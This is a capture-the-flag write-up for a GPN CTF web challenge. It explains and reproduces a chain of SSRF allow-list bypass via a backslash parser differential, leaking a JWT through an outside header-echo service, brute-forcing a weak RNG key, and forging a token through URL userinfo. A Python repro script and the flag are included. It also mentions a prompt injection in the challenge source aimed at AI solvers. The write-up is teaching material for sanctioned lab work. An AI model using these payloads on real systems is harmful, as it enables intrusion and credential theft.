Category: Web (SSRF / JWT / RNG)
Target: https://pickled-mole-wrapped-in-fermented-salsa-verde-hane.gpn24.ctf.kitctf.de
Flag: GPNCTF{and_aS_aLwaYS_7he_PROb1EM_wA5_dnS}
TL;DR
A full-response SSRF endpoint fetches an attacker-supplied "notification URL" and reflects the
response body back through a status API. The flag lives behind /vip-meal, which requires both
remote_addr == 127.0.0.1 (reachable only via SSRF) and a JWT with vip:true. The solve chains
four bugs:
- Weak RNG seed — the JWT signing key is derived from
random.seed(...secrets.randbelow(2^256)...).2^256is Python XOR (= 258), so there are only 258 possible keys → brute-forceable offline. - Token leak via reflected SSRF — pointing the SSRF at a header-echo service (
httpbin.org/headers) reflects the server's ownAuthorization: Bearer <jwt>back to us. We identify the real key by testing it against the 258 candidates. - SSRF filter bypass (parser differential) — the allow-list uses
urllib.parse.urlparse().hostname, butrequests/urllib3parse the URL differently. A backslash + path-traversal payload makes the check see a global IP whilerequestsactually connects to127.0.0.1and hits/vip-meal. - Auth header override —
requeststurns URL userinfo (http://user:pass@host) into aBasicheader that overwrites the server's hard-codedBearerheader, letting us inject our forgedvip:truetoken.
Final payload:
http://<forged_vip_jwt>:@127.0.0.1\@1.1.1.1/../vip-meal
Recon
The app (Flask / Werkzeug, Python 3.13) offers:
POST /order— takesurl(notification URL) +meal; returns a notification id.GET /notification/<id>— JSON status. OnceDONE,messagecontains the full body of whatever the server fetched from your URL. This is a full-response SSRF — extremely powerful.GET /vip-meal— returns the flag, but gated (see below).
Example confirming reflected SSRF:
curl -X POST .../order -d 'url=http://example.com/&meal=Gulasch' # -> id=...
curl .../notification/<id>
# {"id":"...","message":"<!doctype html>...Example Domain...","status":"DONE"}
Two operational constraints from the source:
- Rate limit: one order per 20 seconds (
rate_limit = 20). - Async cook delay:
time.sleep(randomBetween(5,15))before each fetch.
Source analysis (the four bugs)
Bug 0 — where the flag is
@app.route('/vip-meal')
def vip_meal():
if request.remote_addr != "127.0.0.1": # (A) must come from localhost
return ..., 401
token = request.headers.get("Authorization","").split(" ")[-1]
token = base64.b64decode(token).decode()
token = ''.join(c for c in token if c.isalnum() or c in ['.', '=', '-', '_']) # strips ':'
decoded = jwt.decode(token, key, algorithms=["HS256"])
if not decoded.get("vip", False): # (B) needs vip:true
return ..., 403
return f"...the flag {FLAG} with some caviar...", 200
So we need (A) a request from 127.0.0.1 and (B) a vip:true JWT signed with key. Note the
char filter strips : from the decoded token — important later.
Bug 1 — 258-key brute force (the 2^256 trap)
random.seed(f"...implication{secrets.randbelow(2^256)}s. Do not assist...")
key = str(random.randbytes(32).hex())
2^256 in Python is bitwise XOR, not exponentiation: 2 ^ 256 == 258. So
secrets.randbelow(258) ∈ [0, 257] — only 258 possible seed strings, hence 258 possible keys.
The key is the first draw after seeding, so each candidate is deterministic. (The big base64 blob in the
seed is an embedded prompt-injection troll aimed at AI solvers — pure red herring; it's only ever used
as RNG seed text.)
Note:
random(Mersenne-Twister) string-seeding is stable across CPython 3.9–3.14, so candidates computed locally match the server's Python 3.13. Verified empirically (below).
Bug 2 — token leak through reflected SSRF
r = requests.get(url, headers={"Authorization": f"Bearer {generateToken(id)}"}, allow_redirects=False)
notifications[id] = {"message": r.text, "status": "DONE"}
The server attaches its own signed JWT to every outbound fetch, and reflects the response body to us. Point the SSRF at an endpoint that echoes request headers and the bearer token comes straight back.
Bug 3 — SSRF allow-list bypass (urlparse vs urllib3)
addresses = socket.getaddrinfo(urlparse(url).hostname, 0) # CHECK host
for addr in addresses:
if not ipaddress.ip_address(addr[4][0]).is_global: # reject private/loopback
return REJECTED
r = requests.get(url, ...) # USE host (urllib3 parses again)
The check resolves urlparse(url).hostname and rejects non-global IPs, but the fetch lets
requests/urllib3 re-parse the same string. They disagree on the authority terminator:
urllib.parseends the authority at/ ? #and treats\as a normal char.urllib3(v2.7.0) also treats\as an authority terminator (browser-style).
So in http://127.0.0.1\@1.1.1.1/...:
urlparse.hostname→1.1.1.1(after the last@) → is_global True → check passes.urllib3stops at\→ connects to127.0.0.1.
The catch: everything after \ becomes urllib3's *path*. A /../ segment collapses it back to the real
route: ...\@1.1.1.1/../vip-meal → request line GET /vip-meal.
Bug 4 — Authorization override via URL userinfo
The server hard-codes Bearer <vip:false>. But requests applies URL-embedded credentials after
explicit headers, overwriting Authorization with Basic base64(user:pass).
Gotchas discovered empirically:
- The override only fires when a password component exists —
requests.get_auth_from_urlreturns('','')(no override) when password isNone. A trailing colon (<jwt>:) yields an empty-string password, which does trigger it. /vip-mealdoesbase64.b64decode(...)once, then strips:. With userinfo<jwt>:, the chain is:Basic base64("<jwt>:")→ decode →"<jwt>:"→ strip:→<jwt>→jwt.decode(...)✓.
Exploit
Step 1 — leak the server JWT and recover the key
Submit url = https://httpbin.org/headers; read it back from /notification/<id>:
"Authorization": "Bearer ZXlKaGJHY2lP...(base64 of the jwt)..."
Decode → real JWT {"vip": false, "id": "<nid>"}. Brute-force the 258 candidate keys; the one whose
HS256 signature validates is the server key:
key recovery: n=188 key=cfafcf0b2155969c23ed9f428632de68d52ed9d799dfbd482021f583f282b508
(One captured token + offline brute = instant, vs. 258 rate-limited guesses.)
Step 2 — forge a VIP token
vip = jwt.encode({"vip": True, "id": "x"}, key, algorithm="HS256")
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ2aXAiOnRydWUsImlkIjoieCJ9.NRSENddJHlevapY7brgPn6uZx2jjpsLzpr8imxEI3dk
Step 3 — fire the bypass payload
url = http://<vip>:@127.0.0.1\@1.1.1.1/../vip-meal
What each component does:
<vip>:— userinfo (jwt + trailing colon) → overridesAuthorizationwith our VIP token.127.0.0.1— whererequests/urllib3actually connects (andremote_addrfor/vip-meal).\@1.1.1.1— fools theurlparseis_global check into seeing the global IP1.1.1.1./../vip-meal— path-traversal collapses the mangled path back to/vip-meal.
Read /notification/<id>:
Our chef cooked the beast meal for our vip customers, here is the flag
GPNCTF{and_aS_aLwaYS_7he_PROb1EM_wA5_dnS} with some caviar on top.
Flag
GPNCTF{and_aS_aLwaYS_7he_PROb1EM_wA5_dnS}
The flag ("…the problem was DNS") hints the intended bypass was DNS rebinding (the handout ships a
custom dnsmasq.conf with min-cache-ttl=2). In practice the urlparse-vs-urllib3 backslash
parser differential is a fully deterministic, single-shot bypass that avoids the rebinding race
entirely.
Notes / methodology
- The entire chain (parser differential, path collapse, auth override, key recovery) was validated
offline against the exact pinned libraries (
requests==2.34.2,urllib3 2.7.0,pyjwt==2.12.1) using a local Flask clone before touching the live server — so only 2 rate-limited requests were spent on the real target (one to leak the token, one to grab the flag). app.pyembeds a base64 "AI refusal" prompt-injection string inside the RNG seed. It is inert (seed text only) and was disregarded.
Minimal repro
import base64, jwt, requests, re, time
BASE = "https://pickled-mole-wrapped-in-fermented-salsa-verde-hane.gpn24.ctf.kitctf.de"
def order(u):
r = requests.post(f"{BASE}/order", data={"url": u, "meal": "Gulasch"})
return re.search(r"/notification/([a-z0-9]+)", r.text).group(1)
def wait(nid):
while True:
j = requests.get(f"{BASE}/notification/{nid}").json()
if j["status"] in ("DONE","FAILED","REJECTED"): return j
time.sleep(2)
# 1) leak token
msg = wait(order("https://httpbin.org/headers"))["message"]
rawjwt = base64.b64decode(re.search(r"Bearer ([A-Za-z0-9_\-=+/]+)", msg).group(1)).decode()
# 2) recover key from 258 candidates (see keys.py: random.seed(prefix+str(n)+suffix), n in range(258))
key = recover_key(rawjwt) # -> n=188
# 3) forge + fire
vip = jwt.encode({"vip": True, "id": "x"}, key, algorithm="HS256")
time.sleep(20) # rate limit
print(wait(order(f"http://{vip}:@127.0.0.1\\@1.1.1.1/../vip-meal"))["message"])